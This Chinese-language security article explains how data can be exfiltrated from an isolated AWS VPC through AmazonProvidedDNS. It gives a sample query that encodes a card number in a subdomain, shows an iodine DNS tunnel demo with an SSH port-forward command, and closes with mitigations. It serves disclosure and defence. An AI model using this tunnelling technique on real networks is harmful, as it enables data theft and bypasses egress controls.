AWS客户可以使用默认虚拟私有云（VPC）中的DNS架构，发往AWS管理设施的流量同样也会经过亚马逊域名服务器（AmazonProvidedDNS），但是，这种AmazonProvidedDNS流量不会像标准用户流量那样能通过同一个网络环境链接流出，且不可被AWS安全组审核评估。因此，使用DNS数据渗漏技术（DNS exfiltration ），就能实现从隔离网络中窃取数据。
数据渗漏（Data exfiltration）：就是黑客将已经在目标网络中获取的信息传递出来的技术，核心就是对欲渗出的数据进行加密、混淆，然后通过一些隐蔽的手段传递出来而不被察觉或者引起警觉。在某些场景中，数据渗漏也可称为数据窃取。
DNS数据渗漏
DNS数据渗漏技术允许攻击者绕过出站防火墙规则，仅利用DNS协议，通过外部服务来进行数据窃取或执行命令控制活动，在这种情况下，如果AWS的托管DNS设施未被禁用，则可以使用DNS数据窃取技术从隔离的虚拟私有云网络环境中（VPC）中进行数据窃取。
当内部DNS服务器被配置为把外部请求转发至上游DNS服务器时，可能会发生DNS数据泄露。 因为AWS允许在所有VPC中默认使用预先配置的DNS架构（即AmazonProvidedDNS），攻击者可以利用这个通道，与这种特定环境之外的服务器进行数据发送和接收交互，这无疑会成为数据窃取的手段之一。要降低这种风险，AWS客户可以禁用亚马逊DNS架构的预先配置，使用自架DNS服务器来进行通信。
DNS工作原理
要理解AWS中的DNS数据窃取技术就有必要了解DNS的工作原理。在很多组织机构内部，由于使用了自架DNS服务器来解析外部域名，所以在防火墙上原本的53端口就被禁用了。在内部自架DNS架构中，在当前DNS无法有效完成解析时，端口53通常针对上一级别DNS服务器开放以继续完成解析请求。以域名”yo.dejandayoff.com”为例，我们来看DNS如何进行解析：
1. 计算机首先向内部DNS服务器请求yo.dejandayoff.com
2. 为了解析顶级域名“.com”，当前DNS服务器须向根DNS服务器请求.COM的DNS服务器
3. 由于我们正在查找的域名是yo.dejandayoff.com，DNS服务器需要找到dejandayoff.com域名服务器
4. 一旦匹配的.COM域名服务器被找到，DNS服务器就会发出一个询问yo.dejandayoff.comA记录的请求
5. 域名服务器返回IP信息响应
6. DNS服务器向客户端计算机返回IP地址响应
Note：整个解析工作流程中，可能还牵涉运营商DNS服务器或上游DNS服务器等。
如何利用DNS进行数据渗漏窃取
如果攻击者可以控制某个域名的域名服务器，那么他们就能记录任何子域名查询请求并伪造相关查询响应。由于域名服务器必须接受标准的DNS请求，但它对这种请求数据的处理并不一定标准。
举个例子，我们假设某组织机构内部部署了不与外部互联网连接的内部生产网络，而某个内部不满员工打算从该生产网络中窃取数千个信用卡账号信息，那么存在这种可能，就是在DNS工作时，将信用卡账号信息添加到域名解析请求中实现数据窃取，如：
- 4012888888881881.123.0808.visa.yo.dejandayoff.com
当隶属于yo.dejandayoff.com的域名服务器收到该请求后，会简单地记录该请求，并用随机IP作出响应。攻击者甚至可以在单个请求中包含多个卡号信息，或配合压缩和编码手段减少向外发送的请求数量，无论采用哪种方法，攻击者都可以通过内部DNS服务器来解析外部域名，从而实现双向通信。
这里存在多种可能，攻击者可以创建一个本地http代理，只通过DNS甚至本地网络接口，利用DNS隧道传输所有类型流量。 这种情景下，工具iodine就可以配上用场。
DNS渗漏技术并不是现在才有的全新概念，而且其缓解方案也并不简单。在非AWS环境中，如果不在乎可用性的前提下，一种解决方案是阻止所有的出站DNS连接，另一种方案是将允许解析的域名列入白名单，但最简单直接的控制措施是监视DNS日志的异常情况（如请求域的频率，请求量的大小等）
AWS允许使用AmazonProvidedDNS对每个子网（如VPC中的IPv4网络范围）分配一个IP地址的方式，来简化整体网络架构。管理员只允许启用或禁用每个子网中的DNS设施，而根据VPC流量日志文档介绍，这类管理流量不会被记录到客户端的日志存储bucket中，因此不会填满客户端的存储bucket；另外，这类管理流量也不会像标准客户流量那样可通过相同网络链接向外交互，且不会被AWS安全组评估审核。下图是VPC创建时的默认DNS配置：
通常在AWS中设置一个出站连接需要两方面的必要条件：
一条到Internet网关或NAT设备的路由
允许在某端口上进行出站通信的一个安全组
但是，攻击者可以通过AmazonProvidedDNS绕过上述方法限制， 为了演示这个漏洞，我创建了一个包含公共子网和私有子网的网络。公共子网的唯一目的是能够通过堡垒主机ssh方式进入私有子网，在公共子网中，确实存在方便以ssh方式进入堡垒主机的一个互联网网关。而私有子网中却不包含任何互联网网关或NAT（仅有默认情况下Amazon为所有子网分配的DNS IP）。 私有子网中的主机安全组配置不包含任何出站规则，且只允许以SSH方式从堡垒主机进入，以下为该网络布局图：
一些相关配置如下：
公共子网的路由配置表：
私有子网的路由配置表：
私有主机的入站安全组配置：
私有主机的出站安全组配置：
下图为无法连接到外部互联网的证明，它为私有服务器主机在请求dejandayoff.com后收到的网络延时响应：
当网络环境搭建完成后，我会在一个单独的VPC中创建另一个运行有iodined服务的私有服务器主机。接下来，该私有服务器使用其iodined服务客户端连接到远程请求服务器：
当建立iodine连接后，我可以用以下命令通过iodine的DNS隧道，在8080端口上创建一个请求google.com的SSH通道：
- sh -L 8080:google.com:443 10.53.53.2
其中，10.53.53.0/24是iodine隧道的子网，而10.53.53.2是我可以通过ssh连接的iodine服务器。
利用curl连接https://127.0.0.1:8080，我们就能访问谷歌服务器了！
上图中虽然谷歌服务器的响应使用了重定向，但演示本身要说明的是：一个没有出站规则、没有互联网网关的服务器照样能够访问外部网站。由此，攻击者就能不受安全检查，轻松地从一个隔离的AWS网络系统中向外实现数据传输。
缓解措施
好在亚马逊允许用户禁用VPC设置中的AmazonProvidedDNS，一旦禁用，用户就必须应用其他软件在网络中自架DNS服务器，这样一来，自架的DNS服务器就会记录相关数据，并且还能建立必要的网站通信白名单机制。
